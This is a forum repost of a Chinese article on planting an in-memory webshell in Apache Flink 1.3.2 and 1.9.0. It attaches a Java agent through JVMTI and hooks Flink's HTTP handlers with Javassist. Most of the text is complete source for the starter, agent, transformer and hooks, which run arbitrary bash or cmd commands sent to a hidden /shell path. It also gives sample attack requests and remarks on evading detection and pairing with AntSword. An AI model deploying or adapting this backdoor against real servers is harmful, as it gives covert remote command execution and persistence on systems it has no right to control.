安全矩阵

 找回密码
 立即注册
搜索
查看: 2270|回复: 0

针对 Flink 写内存马的实践过程

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-29 18:08:17 | 显示全部楼层 |阅读模式
原文链接:针对 Flink 写内存马的实践过程

在重要的生产网中,目标服务器无法外联,而遇到Apache Flink情况下如何写内存马,本文对这一有趣实践过程做了一个记录。
1. 思路首先目标机器 Flink 版本为 1.3.2、1.9.0,Flink 底层是使用的Netty作为多功能 socket 服务器,我们可以有两种解决思路:
① 注册控制器;
② 通过 JVMTI ATTACH 机制 Hook 关键方法来写内存马。
1.1 应用层
第一个方案就是,类似Tomcat、Spring情况下的内存马,从当前或是全局中获取获取到被用于路由类功能的变量,注册自己的路由、处理器。这里拿 1.9.0 代码来举例,jobmanager 的 web 服务器启动与初始化位于org.apache.flink.runtime.rest.RestServerEndpoint#start。
这里将自定义的控制器handler注册到路由器router,所以我们需要只需要参考Flink的业务代码,写好自己的Handler然后注册到该route变量即可。但很可惜,笔者找了一圈,没有发现相关的静态变量,无法获取到该路由对象。另外 jar 执行的代码处 (invoke main 方法)也没有传入啥有用的变量。要不就是想办法添加一个自定义的SocketChannel,但这个方法更加不现实。

1.2 JVM TI Attach
直接利用JVMTI的 attach 机制,hook 特定类方法,在其前面插入我们的 webshell 方法,通过 DEBUG 相关 HTTP 处理流程,笔者最终实现了 1.3.2、1.9.0 版本下的内存马。
本文主要围绕如何使用该方法实现 flink 内充马进行讲述。
1.3 系统层
在系统层面,通过端口复用实现系统层面的木马,先知上有人提出该种想法利用 Hook 技术打造通用的 Webshell
https://xz.aliyun.com/t/9774
不过存在一些问题:
① 执行该操作的权限要求很高;
② 该 hook 操作容易被 EDR 发现;
③ 需要兼容不同平台,且不同 linux 环境都可能导致不兼容。
大佬有说到,通过替换 lib 库不容易被杀,但需要重启(跑题了)。
2. JVM TI 概述JAVA 虚拟机开放了一个叫 JVM Tool Interface (JVM TI) 的接口,通过该接口,我们可以查看和修改在 JVM 运行中的 Java 程序代码。
实现了 JVM TI 接口的程序,称为 agent,agent 能通过三种方式被执行,
① Agent Start-Up (OnLoad phase):在 JAVA 程序的 main 函数执行之前执行 agent,java 命令中需通过 -javaagent 参数来指定 agent,实现方式为 premain
② Agent Start-Up (Live phase) :对于正在运行的 JAVA 程序,通过 JVM 进程间通信,动态加载 agent,实现方式为 attatch 机制
③ Agent Shutdown:在虚拟机的 library 将要被卸载时执行。
如果使用 jdk/tools.jar 提供的 jvm 操作类,由于 com.sun.tools.attach.VirtualMachine#loadAgent(java.lang.String) 的限制,我们的 agent 需要先落地到系统中,而执行 loadAgent 这一操作的程序我们被称为 starter。
关于 agent,最近 @rebeyond 提出了一种不需要落地的方案,但其实我觉得落地 agent 这个问题不大(还请大佬们指教):
https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw
3. 大体框架首先,我们通过Flink的 JAR 上传执行功能,上传我们的starter.jar,starter 被执行后,我们先释放 agent 到系统临时目录下,之后再加载该 agent,并在加载完成之后删除即可。

4.寻找 Hook 点由于Netty是用于支持多协议的 socket 服务器,对应用层 HTTP 的解析封装是 Flink 做的,所以为了简洁高效,我们可以选择在 Flink 这边 Hook 对应的方法。
2.1 Flink 1.3.2
通过浏览堆栈信息,查看相关代码,我们可以很容易发现该版本中我们需要的关键类方法在org.apache.flink.runtime.webmonitor.HttpRequestHandler#channelRead0
不过,一个 HTTP 请求过来,我们在这里并不能一次性拿到整个 HTTP 报文,在msg instance of HttpRequest情况下我们拿到的是请求行与请求头(这里简称请求头吧),下一次再来到channelRead0中,且msg instance of HttpContent时,我们拿到的是请求体 Body,这时需要从this中拿到currentRequest请求头、currentDecoder解码器,然后解析获取到 Body 中的 key-value。

2.2 Flink 1.9.0
起初笔者看到 1.9.0 版本中存在 1.3.2 一样的代码,以为 web 流程没有变化,可以沿用 1.3.2 的 Hook 方法,但到实际测试时发现只是旧代码没有删除,而流程发生了变化,导致笔者需要 hook 新类方法。
笔者使用org.apache.flink.runtime.rest.FileUploadHandler#channelRead0该类方法作为 hook 点,这里的代码基础逻辑和 1.3.2 的一样,也是无法直接拿到整个 HTTP 请求报文,需要在msg instance HttpContent情况下使用this.currentHttpPostRequestDecoder处理 BODY 拿到 KEY-VALUE 表单数据,从this.currentHttpRequest拿到 HTTP 头。

5. 编写Agent我们首先编写一个接口类IHook,声明一个 Hook 点的要素方法,其中我们可以通过 JDK 自带的工具获取方法描述符号,如
javap -cp flink-dist_2.11-1.9.0.jar -p -s org.apache.flink.runtime.rest.FileUploadHandler
5.1 IHook
  1. package com.attach.hook;
  2. public interface IHook {
  3.     /**
  4.      * @return 插桩代码
  5.      */
  6.     String getMethodSource();
  7.     /**
  8.      * @return 被Hook的目标类空间名
  9.      */
  10.     String getTargetClass();
  11.     /**
  12.      * @return 被Hook的目标方法名
  13.      */
  14.     String getTargetMethod();
  15.     /**
  16.      * @return 被Hook的目标方法描述符
  17.      */
  18.     String getMethodDesc();
  19. }
复制代码

5.2 Flink132我们在编写目标方法的 Hook 点时,需要引用相关的类或字段,在本地 IDEA 测试运行时我们直接引用相关 jar 包即可,而在打包 JAR 时,我们可以选择不打包进去,避免获得的 jar 包过大。
另外,关于实现 webshell 的业务功能,冰蝎工具就不适用了,因为 behind 的业务逻辑与HttpServletSession、HttpServletRequest、HttpServletResponse这几个类紧密耦合,修改它的代码的工作量也很大。但笔者还是十分希望有一个图形化界面的工具来辅助我们管理 webshell,这样能极大提升我们的工资效率。随后笔者想到要不直接使用比较原始的工具cknife(JAVA 版开源菜刀),稍微改改就能用,但如果要流量免杀,就还得改客户端源码,也费精力。
后面又看到AntSword的CMDLINUX Shell功能,服务器只需要提供命令执行功能并回显结果,就能做到文件浏览、修改功能;而且 AntSword 支持自定义加密,这样一来选择这块工具就很省事了,至于其他重要的功能,如代理,就先放着吧。
另外,在笔者在内存马的代码中添加了内存马删除功能,当用户访问/UNINSTALL路径时,会触发removeTransformer(..),将相关 hook 点去除。
flink1.3.2 中,笔者给出的代码在成功 hook 后,触发命令执行的 HTTP 是这样的:
  1. POST /shell HTTP/1.1
  2. Host: 192.168.198.128:8081
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-Length: 10
  5. cmd=whoami
复制代码

  1. package com.attach.hook;
  2. import com.attach.Agent;
  3. import io.netty.buffer.Unpooled;
  4. import io.netty.channel.ChannelFutureListener;
  5. import io.netty.handler.codec.http.*;
  6. import io.netty.handler.codec.http.multipart.DiskAttribute;
  7. import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
  8. import io.netty.handler.codec.http.multipart.InterfaceHttpData;
  9. import java.io.ByteArrayOutputStream;
  10. import java.lang.reflect.Field;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. import static com.attach.util.FileUtil.IS_WIN;
  14. import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;
  15. import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;
  16. import io.netty.handler.codec.http.HttpContent;
  17. public class Flink132 implements IHook{
  18.     @Override
  19.     public String getMethodSource() {
  20.         return "com.attach.hook.Flink132.getShell($0,$1,$2);";
  21.     }
  22.     @Override
  23.     public String getTargetClass() {
  24.         return "org.apache.flink.runtime.webmonitor.HttpRequestHandler";
  25.     }
  26.     @Override
  27.     public String getTargetMethod() {
  28.         return "channelRead0";
  29.     }
  30.     @Override
  31.     public String getMethodDesc() {
  32.         return "(Lio/netty/channel/ChannelHandlerContext;Lio/netty/handler/codec/http/HttpObject;)V";
  33.     }
  34.     public  static void getShell(Object handler,io.netty.channel.ChannelHandlerContext ctx,
  35.                                  io.netty.handler.codec.http.HttpObject msg) {
  36.         //如果发生java.lang.NoClassDefFoundError异常,是无法捕获的,且会影响业务。
  37.         try {
  38.             String uriSymbol = "/shell";
  39.             String cmdKey = "cmd";
  40.             if (msg instanceof io.netty.handler.codec.http.HttpContent) {
  41.                 Field currentDecoderField = handler.getClass().getDeclaredField("currentDecoder");
  42.                 currentDecoderField.setAccessible(true);
  43.                 io.netty.handler.codec.http.multipart.HttpPostRequestDecoder currentDecoder =
  44.                         (io.netty.handler.codec.http.multipart.HttpPostRequestDecoder) currentDecoderField.get(handler);
  45.                 Field currentRequestField = handler.getClass().getDeclaredField("currentRequest");
  46.                 currentRequestField.setAccessible(true);
  47.                 DefaultHttpRequest request = (DefaultHttpRequest) currentRequestField.get(handler);
  48.                 HttpContent chunk = (HttpContent) msg;
  49.                 //currentDecoder not null meaning method is POST and body has data.
  50.                 if (currentDecoder != null && request!=null) {
  51.                     if (request.getUri().startsWith("/UNINSTALL")) {
  52.                         if (Agent.transformer != null) {
  53.                             Agent.transformer.release();
  54.                         }
  55.                     }
  56.                     if (request.getUri().startsWith(uriSymbol)) {
  57.                         currentDecoder.offer(chunk);
  58.                         Map<String, String> form = new HashMap<String, String>();
  59.                         try{
  60.                             while (currentDecoder.hasNext()) {
  61.                                 InterfaceHttpData data = currentDecoder.next();
  62.                                 if (data instanceof DiskAttribute) {
  63.                                     String key = data.getName();
  64.                                     String value = ((DiskAttribute) data).getValue();
  65.                                     form.put(key, value);
  66.                                 }
  67.                                 data.release();
  68.                             }
  69.                         } catch (HttpPostRequestDecoder.EndOfDataDecoderException ignored) {}
  70.                         String cmd = "null cmd";
  71.                         if (form.containsKey(cmdKey)) {
  72.                             cmd = form.get(cmdKey);
  73.                         }
  74.                         if (!form.containsKey(cmdKey)) {
  75.                             return;
  76.                         }
  77.                         String[] cmds = null;
  78.                         if (!IS_WIN) {
  79.                             cmds = new String[]{"/bin/bash", "-c", cmd};
  80.                         } else {
  81.                             cmds = new String[]{"cmd","/c",cmd};
  82.                         }
  83.                         java.io.InputStream in =
  84.                                 Runtime.getRuntime().exec(cmds).getInputStream();
  85.                         ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
  86.                         int a = -1;
  87.                         byte[] b = new byte[1];
  88.                         outputStream.write("<pre>".getBytes());
  89.                         while((a=in.read(b))!=-1){
  90.                             outputStream.write(b);
  91.                         }
  92.                         outputStream.write("</pre>".getBytes());
  93.                         HttpResponseStatus status = new HttpResponseStatus(200, "OK");
  94.                         FullHttpResponse response = new DefaultFullHttpResponse(
  95.                                 HTTP_1_1, status, Unpooled.copiedBuffer(outputStream.toByteArray()));
  96.                         response.headers().set(CONTENT_TYPE, "text/plain; charset=UTF-8");
  97.                         ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
  98.                     }
  99.                     // HTTP GET
  100.                 }else{
  101.                  }
  102.            }
  103.         }
  104.     }
  105. }
复制代码

5.3 Flink190​flink1.9.0 中,笔者给出的代码在成功 hook 后,触发命令执行的 HTTP 是这样的:

  1. POST /shell HTTP/1.1
  2. Host: 192.168.198.128:8081
  3. Content-Type: multipart/form-data; boundary=--------347712004
  4. Content-Length: 98
  5. ----------347712004
  6. Content-Disposition: form-data; name="cmd"
  7. whoami
  8. ----------347712004--
复制代码

  1. package com.attach.hook;
  2. import com.attach.Agent;
  3. import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;
  4. import org.apache.flink.shaded.netty4.io.netty.buffer.Unpooled;
  5. import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;
  6. import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFutureListener;
  7. import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;
  8. import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;
  9. import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;
  10. import java.io.ByteArrayOutputStream;
  11. import java.lang.reflect.Field;
  12. import java.lang.reflect.Method;
  13. import java.util.Collections;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.InterfaceHttpData;
  17. import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;
  18. import org.apache.flink.shaded.netty4.io.netty.channel.ChannelHandlerContext;
  19. import static com.attach.util.FileUtil.IS_WIN;
  20. import static com.attach.util.FileUtil.writeMsg;
  21. import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION;
  22. import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;
  23. import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpVersion.HTTP_1_1;
  24. public class Flink190 implements IHook{
  25.    // public static String targetClass = "org.apache.flink.runtime.webmonitor.HttpRequestHandler";
  26.     @Override
  27.     public String getMethodSource() {
  28.         return "com.attach.hook.Flink190.getShell($0,$1,$2);";
  29.     }
  30.     @Override
  31.     public String getTargetClass() {
  32.         return "org.apache.flink.runtime.rest.FileUploadHandler";
  33.     }
  34.     @Override
  35.     public String getTargetMethod() {
  36.         return "channelRead0";
  37.     }
  38.     @Override
  39.     public String getMethodDesc() {
  40.         return "(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChannelHandlerContext;Lorg/apache/flink/shaded/netty4/io/netty/handler/codec/http/HttpObject;)V";
  41.     }
  42.     public  static void getShell(Object handler,
  43.                                  ChannelHandlerContext ctx,
  44.                                 HttpObject msg
  45.     ) {
  46.         //如果发生java.lang.NoClassDefFoundError异常,是无法捕获的,且会影响业务。
  47.         try {
  48.             String uriSymbol = "/shell";
  49.             String cmdKey = "cmd";
  50.             if (msg instanceof HttpContent) {
  51.                 Field currentDecoderField = handler.getClass().getDeclaredField("currentHttpPostRequestDecoder");
  52.                 currentDecoderField.setAccessible(true);
  53.                 HttpPostRequestDecoder currentHttpPostRequestDecoder =
  54.                         (HttpPostRequestDecoder) currentDecoderField.get(handler);
  55.                 Field currentRequestField = handler.getClass().getDeclaredField("currentHttpRequest");
  56.                 currentRequestField.setAccessible(true);
  57.                 HttpRequest currentHttpRequest = (HttpRequest) currentRequestField.get(handler);
  58.                 final HttpContent httpContent = (HttpContent) msg;
  59.                 currentHttpPostRequestDecoder.offer(httpContent);
  60.                 if (currentHttpRequest.uri().startsWith("/UNINSTALL")) {
  61.                     if (Agent.transformer != null) {
  62.                         Agent.transformer.release();
  63.                     }
  64.                 }
  65.                 if (currentHttpRequest.uri().startsWith(uriSymbol)) {
  66.                     Map<String, String> form = new HashMap<String, String>();
  67.                     while (httpContent != LastHttpContent.EMPTY_LAST_CONTENT && currentHttpPostRequestDecoder.hasNext()) {
  68.                         InterfaceHttpData data = currentHttpPostRequestDecoder.next();
  69.                         if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute){
  70.                             Attribute request = (Attribute) data;
  71.                             form.put(request.getName(), request.getValue());
  72.                         }
  73.                     }
  74.                     String cmd = "null cmd";
  75.                     if (form.containsKey(cmdKey)) {
  76.                         cmd = form.get(cmdKey);
  77.                     }
  78.                     for (String key : form.keySet()) {
  79.                         writeMsg(key);
  80.                     }
  81.                     if (!form.containsKey(cmdKey)) {
  82.                         return;
  83.                     }
  84.                     String[] cmds = null;
  85.                     if (!IS_WIN) {
  86.                         cmds = new String[]{"/bin/bash", "-c", cmd};
  87.                     } else {
  88.                         cmds = new String[]{"cmd","/c",cmd};
  89.                     }
  90.                     java.io.InputStream in =
  91.                             Runtime.getRuntime().exec(cmds).getInputStream();
  92.                     ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
  93.                     int a = -1;
  94.                     byte[] tmp = new byte[1];
  95.                     outputStream.write("<pre>".getBytes());
  96.                     while((a=in.read(tmp))!=-1){
  97.                         outputStream.write(tmp);
  98.                     }
  99.                     outputStream.write("</pre>".getBytes());
  100.                     HttpRequest tmpRequest = currentHttpRequest;
  101.                     getMethodInvoke(handler, "deleteUploadedFiles", null, null);
  102.                     getMethodInvoke(handler, "reset", null, null);
  103.                     HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK);
  104.                     response.headers().set(CONTENT_TYPE, "text/html");
  105.                     response.headers().set(CONNECTION, HttpHeaders.Values.CLOSE);
  106.                     byte[] buf = outputStream.toByteArray();
  107.                     ByteBuf b = Unpooled.copiedBuffer(buf);
  108.                     HttpHeaders.setContentLength(response, buf.length);
  109.                     ctx.write(response);
  110.                     ctx.write(b);
  111.                     ChannelFuture lastContentFuture = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT);
  112.                     lastContentFuture.addListener(ChannelFutureListener.CLOSE);
  113.                     ReferenceCountUtil.release(tmpRequest);
  114.                 }
  115.            }
  116.         } catch (Exception e) {
  117.         }
  118.     }
  119.     private static Object getMethodInvoke(Object object, String methodName, Class[] parameterTypes,
  120.                                           Object[] args) throws Exception {
  121.         try {
  122.             Method method = getMethod(object, methodName, parameterTypes);
  123.             return method.invoke(object, args);
  124.         } catch (Exception e) {
  125.             throw new Exception(String.format("getMethodInvoke error:%s#%s",object.toString(),methodName));
  126.         }
  127.     }
  128.     private static Method getMethod(Object object, String methodName, Class<?>... parameterTypes) throws Exception {
  129.         try {
  130.             Method method = object.getClass().getDeclaredMethod(methodName,
  131.                     parameterTypes);
  132.             method.setAccessible(true);
  133.             return method;
  134.         } catch (Exception e) {
  135.             throw new Exception(String.format("getMethod error:%s#%s",object.toString(),methodName));
  136.         }
  137.     }
  138. }
复制代码

5.4 Agent由于我们使用 attach 机制去 hook 方法并插桩,我们的 agent 客户端被loadAgent调用时,入口方法为agentmain,所以我们这里只编写该方法即可。另外,将整个项目打包成 JAR 后,我们需要在META-INF/MANIFEST中添加对应的属性。
  1. <div class="blockcode"><blockquote>Agent-Class: com.attach.Agent
  2. Can-Retransform-Classes: true
复制代码

package com.attach;
import java.lang.instrument.Instrumentation;
public class Agent {
    public static Transformer transformer = null;
    //注意,理论上运行环境已经有相关JAR包,为了减小打包后的JAR大小,在打包是不需要将javassist外的其他依赖打包进去
    public static void agentmain(String vmName, Instrumentation inst) {
        transformer = new Transformer(vmName, inst);
        transformer.retransform();
    }
}


5.5 Transformer
我们编写一个自己的Transformer类,实现ClassFileTransformer相关接口方法,由于目标类应该已经被加载了,所以我们需要通过retransform来重新转换已经加载的类。
  1. package com.attach;
  2. import com.attach.hook.IHook;
  3. import javassist.*;
  4. import java.lang.instrument.ClassFileTransformer;
  5. import java.lang.instrument.Instrumentation;
  6. import java.security.ProtectionDomain;
  7. import java.util.ArrayList;
  8. import java.util.List;
  9. public class Transformer implements ClassFileTransformer{
  10.     private Instrumentation inst;
  11.     private List<IHook> hooks = new ArrayList<IHook>();
  12.     Transformer(String vmName,Instrumentation inst) {
  13.         //为了适配不同版本,这里不直接import
  14.         try {
  15.             if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager")) {
  16.                 this.hooks.add((IHook) Class.forName("com.attach.hook.Flink132").newInstance());
  17.             }
  18.         } catch (Exception e) {
  19.         }
  20.         try {
  21.             if (vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint")) {
  22.                 this.hooks.add((IHook) Class.forName("com.attach.hook.Flink190").newInstance());
  23.             }
  24.         } catch (Exception e) {
  25.         }
  26.         this.inst = inst;
  27.         inst.addTransformer(this, true);
  28.     }
  29.     public void release() {
  30.         inst.removeTransformer(this);
  31.         retransform();
  32.     }
  33.     public void retransform() {
  34.         Class[] loadedClasses = inst.getAllLoadedClasses();
  35.         for (Class clazz : loadedClasses) {
  36.             for (IHook hook : this.hooks) { ;
  37.                 if (clazz.getName().equals(hook.getTargetClass())) {
  38.                     if (inst.isModifiableClass(clazz) ) {
  39.                         try {
  40.                             inst.retransformClasses(clazz);
  41.                         } catch (Throwable t) {
  42.                         }
  43.                     }
  44.                 }
  45.             }
  46.         }
  47.     }
  48.     @Override
  49.     public byte[] transform(ClassLoader classLoader, String s,
  50.                             Class<?> aClass, ProtectionDomain protectionDomain,
  51.                             byte[] classfileBuffer
  52.     )  {
  53.         for (IHook hook : this.hooks) {
  54.             String targetClass = hook.getTargetClass();
  55.             if (targetClass.replaceAll("\\.", "/").equals(s)) {
  56.                 try {
  57.                     ClassPool classPool = ClassPool.getDefault();
  58.                     CtClass ctClass = classPool.get(targetClass);
  59.                     CtMethod m = ctClass.getMethod(hook.getTargetMethod(),hook.getMethodDesc());
  60.                     m.insertBefore(hook.getMethodSource());
  61.                     byte[] byteCode = ctClass.toBytecode();
  62.                     ctClass.detach();
  63.                     return byteCode;
  64.                 } catch (Exception ex) {
  65.                 }
  66.            }
  67.         }
  68.         return null;
  69.     }
  70. }
复制代码

6. 编写 Starterstarter 这里需要使用到 JDK 的 tools.jar 包,用于和 JAVA 虚拟机进行通信,但不同 JDK 版本与不同系统架构都会导致 jvm 或是说 tools.jar 的差异,为了避免该问题,这里我们可以使用URLClassLoader优先从本地 lib 库中找 tools.jar 包,如果找不到再去使用我们打包的 starter.jar 中的相关虚拟机操作类。如果是 Linux 的情况,我们可以直接在 JDK/lib 下找到 tools.jar 包,而 windows 比这复杂多,不过目前不涉及到 windows 场景,也不必处理。
由于 1.3.2 与 1.9.0 的 VM Name 发生了变化,前者为org.apache.flink.runtime.jobmanager.JobManager,后者为org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint,这里直接对两种进行了判断。
  1. public class Starter {
  2.     String agentJar = "HookSomething.txt";
  3.     /**
  4.      * here use URLClassloader to load VirtualMachine class which from `tools.jar`
  5.      * the load sequence is 1. try to load from local system's jdk/lib/tools.jar
  6.      *                      2. if can't load from local,try to load from the jar which we package
  7.      * Because we need to use the JVMTI and communicate with JVM ,it's related to JVM,
  8.      * so it's related to system architecture and java version.
  9.      * In this case,load tools.jar from local is the best choice , it can avoid the problem case by
  10.      * java version / system architecture .
  11.      * @param args
  12.      */
  13.     public static void main(String[] args)  {
  14.         try {
  15.             Starter app = new Starter();
  16.             //将resource下的agent.jar释放到临时目录
  17.             String jarPath = app.writeAgentJar();
  18.             File javaHome = new File(System.getProperty("java.home"));
  19.             // here only handle Open JDK situation,others didn't . . Win Oracle JDK
  20.             String toolsPath = javaHome.getName().equalsIgnoreCase("jre") ? "../lib/tools.jar" : "lib/tools.jar";
  21.             URL[] urls = new URL[]{
  22.                     //优先查找加载JDK LIB tools.jar
  23.                     new File(javaHome, toolsPath).getCanonicalFile().toURI().toURL(),
  24.                     //找不到的话加载打包的JAR,或者如果 .so 已经被加载 java.lang.UnstisfiedLinkError
  25.                     Starter.class.getProtectionDomain().getCodeSource().getLocation(),
  26.             };
  27.             URLClassLoader loader = new URLClassLoader(urls, null);
  28.             Class<?> VirtualMachineClass = loader.loadClass("com.sun.tools.attach.VirtualMachine");
  29.             Class<?> VirtualMachineDescriptorClass = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  30.             Method listM = VirtualMachineClass.getDeclaredMethod("list", null);
  31.             List vmList= (List) listM.invoke(null);
  32.             Object vm = null;
  33.             List<String> vmNames = new ArrayList<String>() {
  34.                 {
  35.                     add("org.apache.flink.runtime.jobmanager.JobManager");
  36.                     add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint");
  37.                 }};
  38.             for (Object vmd : vmList) {
  39.                 for (String vmName : vmNames) {
  40.                     Method displayNameM = VirtualMachineDescriptorClass.getDeclaredMethod("displayName", null);
  41.                     String name = (String) displayNameM.invoke(vmd);
  42.                     if (name.startsWith(vmName)) {
  43.                         Method attachM = VirtualMachineClass.getDeclaredMethod("attach", VirtualMachineDescriptorClass);
  44.                         vm = attachM.invoke(null, vmd);
  45.                         Method loadAgentM = VirtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class);
  46.                         loadAgentM.invoke(vm, jarPath, vmName);
  47.                         Method detachM = VirtualMachineClass.getDeclaredMethod("detach", null);
  48.                         detachM.invoke(vm, null);
  49.                         System.out.println("success");
  50.                     }
  51.                 }
  52.             }
  53.             loader.close();
  54.             new File(jarPath).delete();
  55.         } catch (Exception e) {
  56.             e.printStackTrace();
  57.         }
  58.     }
复制代码

7. libattach.so 被占用起初笔者以为 flink 的 JAR 执行是通过java -jar进行的,后面发现其实就是 invoke 了 main 方法。这个情况下,导致了这么一个问题:starter 成功执行 attach 之后,我们通过/UNINSTALL功能卸载内存马,再一次去执行 starter 时却发现 starter 执行失败。原因为,VirtualMachine在实例化时有个静态代码块加载了libattach.so,而第二次执行 starter 会导致在加载该 so 文件时报java.lang.UnsatisfiedLinkError: Can't load library异常。
为了避免该问题,我们可以一开始先将 starter 释放到临时目录下,通过调用系统命令jar -jar来运行 starter。

8. 结语在路由注册方式行不通的情况下,使用 attach 进行内存马的写入,不失为一个不错的方法,理论上在任何 JAVA 代码执行漏洞中,我们都可以使用该方式去写内存马,但关于内存马的业务功能这块,我们可能需要费一番功夫。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:23 , Processed in 0.013357 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表